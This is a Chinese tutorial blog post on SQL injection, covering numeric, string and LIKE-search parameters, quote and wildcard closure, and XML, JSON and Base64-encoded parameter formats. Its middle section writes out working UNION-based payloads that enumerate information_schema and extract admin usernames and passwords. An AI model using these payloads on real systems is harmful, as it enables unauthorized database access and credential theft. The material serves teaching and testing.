当前位置: 首页 > news >正文

Web攻防-SQL注入数据格式参数类型JSONXML编码加密符号闭合

知识点:
1、Web攻防-SQL注入-参数类型&参数格式
2、Web攻防-SQL注入-XML&JSON&BASE64等
3、Web攻防-SQL注入-数字字符搜索等符号绕过

案例说明:
在应用中,存在参数值为数字,字符时,符号的介入,另外搜索功能通配符的再次介入,另外传输数据可由最基本的对应赋值传递改为更加智能的XMLJSON格式传递,部分保证更安全的情况还会采用编码或加密形式传递数据,给于安全测试过程中更大的挑战和难度。

一、演示案例-WEB攻防-SQL注入-参数类型&符号干扰

需要考虑闭合问题
在这里插入图片描述

数字

select * from news where id=$id; 

在这里插入图片描述
在这里插入图片描述

字符

select * from news where name='$name'; 

在这里插入图片描述
在这里插入图片描述

搜索

select * from news where name like '%name%';
符号干扰:有无单引号或双引号及通配符等

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

%' order by 3#

在这里插入图片描述

%' union select 1,2,3#

在这里插入图片描述
在这里插入图片描述
知道数据库名:news_db

获取数据库名下的表名信息:
借助自带的information_schema.tables表(记录所有数据库名下的表名)

1%' union select 1,2,table_name from information_schema.tables where table_schema='news_db'#

在这里插入图片描述
admin表名下的列名
借助自带的information_schema.columns表(记录所有数据库名下的表名对应的列名信息)

1%' union select 1,2,column_name from information_schema.columns where table_schema='news_db' and table_name='admin'#

在这里插入图片描述
查询列名相关数据

1%' union select 1,username,password from admin#

在这里插入图片描述

二、演示案例-WEB攻防-SQL注入-参数格式&参数编码

1、数据传输采用XML或JSON格式传递
2、数据传输采用编码或加密形式传递
3、数据传递采用JSON又采用编码传递

XML

<?xml version="1.0" encoding="UTF-8"?>
<news><article><id>1</id><title>xiaodi</title><content>i am xiaodi</content><created_at>2025-03-07</created_at></article><article><id>2</id><title>xiaodisec</title><content>i am xiaodisec</content><created_at>2025-03-06</created_at></article>
</news>

在这里插入图片描述
在这里插入图片描述

JSON

{"news:"[
{"id": 1,"title": "xiaodi","content": "i am xiaodi","created_at": "2025-03-07"
},
{"id": 2,"title": "xiaodisec","content": "i am xiaodisec","created_at": "2025-03-06"
}]
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Base64

{"news": [
{"id": "MQ==","title": "eGlhb2Rp","content": "aSBhbSB4aWFvZGk=","created_at": "MjAyNS0wMy0wNw=="
},
{"id": "Mg==","title": "eGlhb2Rpc2Vj","content": "aSBhbSB4aWFvZGlzZWM=","created_at": "MjAyNS0wMy0wNg=="
}]
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实例应用-编码注入案例

https://mp.weixin.qq.com/s/Xf08xaV-YcZsQopE19pPEQ

相关文章:

  • pg库分表操作步骤- PostgreSQL 分区表
  • 限流系列:sentinel
  • 边缘AI:在物联网设备上实现智能处理
  • Webpack和Vite构建工具有什么区别?各自的优缺点是什么
  • 【论文解读】STaR:不用人类思维链指导,模型可以自我进化!
  • ChatGPT与认知科学:人机协同的未来图景
  • 云原生微服务devops项目管理英文表述详解
  • 论文阅读笔记:YOLO-World: Real-Time Open-Vocabulary Object Detection
  • 【科研绘图系列】R语言绘制气泡图(bubble plot)
  • 项目 react+taro 编写的微信 小程序,什么命令,可以减少console的显示
  • Django orm详解--工作流程
  • Mac安装配置InfluxDB,InfluxDB快速入门,Java集成InfluxDB
  • 答题pk小程序题库题型更新啦
  • Kafka Kraft模式集群 + ssl
  • 基于开源链动2+1模式AI智能名片S2B2C商城小程序的产品驱动型增长策略研究
  • vs2022 调试时 控制台界面不出来
  • kafka实践与C++操作kafka
  • AI智能混剪核心技术解析(一):字幕与标题生成的三大支柱-字幕与标题生成-优雅草卓伊凡
  • 李宏毅NLP-7-CTC/RNN-T文本对齐
  • Jupyter Notebook 完全指南:从入门到高效使用
  • 河南省专业做网站公司/域名购买哪个网站好
  • 网站主机地址/seo体系
  • 下载上海发布官方网站/app拉新平台有哪些
  • 反钓鱼网站建设期/沧浪seo网站优化软件
  • 西宁网站建设天锐科技/百度高级搜索页面
  • ( )是网站可以提供给用户的价值/精准客户信息一条多少钱